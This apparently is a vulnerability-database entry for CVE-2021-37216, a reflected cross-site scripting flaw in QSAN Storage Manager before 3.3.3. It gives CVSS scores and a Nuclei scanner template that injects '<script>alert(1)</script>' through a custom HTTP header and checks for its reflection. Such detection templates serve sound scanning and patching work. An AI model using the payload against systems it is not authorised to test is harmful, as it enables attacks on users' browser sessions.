CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
46.0%
QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability. Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.
id: CVE-2021-37216
info:
name: QSAN Storage Manager <3.3.3 - Cross-Site Scripting
author: dwisiswant0
severity: medium
description: |
QSAN Storage Manager before 3.3.3 contains a reflected cross-site scripting vulnerability. Header page parameters do not filter special characters. Remote attackers can inject JavaScript to access and modify specific data.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
remediation: |
Upgrade QSAN Storage Manager to version 3.3.3 or later to mitigate this vulnerability.
reference:
- https://www.twcert.org.tw/tw/cp-132-4962-44cd2-1.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-37216
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ARPSyndicate/cvemon
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
cvss-score: 6.1
cve-id: CVE-2021-37216
cwe-id: CWE-79
epss-score: 0.00108
epss-percentile: 0.42604
cpe: cpe:2.3:o:qsan:xn8024r_firmware:3.1.5:*:*:*:*:*:*:*
metadata:
max-request: 1
vendor: qsan
product: xn8024r_firmware
tags: cve,cve2021,xss,qsan,storage
http:
- method: GET
path:
- "{{BaseURL}}/http_header.php"
headers:
X-Trigger-XSS: "<script>alert(1)</script>"
matchers-condition: and
matchers:
- type: dsl
dsl:
- "!contains(tolower(header), 'x-xss-protection')"
- type: word
part: body
words:
- '"HTTP_X_TRIGGER_XSS":"<script>alert(1)</script>"'
- type: word
part: header
words:
- "text/html"
# digest: 4a0a00473045022100f0eea65e7c17996e2113f9111c801fb16d0ac3d4acfb10eb860c142f5752e07c022072e9f6a7073167683e9506fd7a430aaa503a26d38e0cd53ea6ebee8661e2ced6:922c64590222798bb761d5b6d8e72950
CVSS2
Attack Vector
NETWORK
Attack Complexity
MEDIUM
Authentication
NONE
Confidentiality Impact
NONE
Integrity Impact
PARTIAL
Availability Impact
NONE
AV:N/AC:M/Au:N/C:N/I:P/A:N
CVSS3
Attack Vector
NETWORK
Attack Complexity
LOW
Privileges Required
NONE
User Interaction
REQUIRED
Scope
CHANGED
Confidentiality Impact
LOW
Integrity Impact
LOW
Availability Impact
NONE
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
EPSS
Percentile
46.0%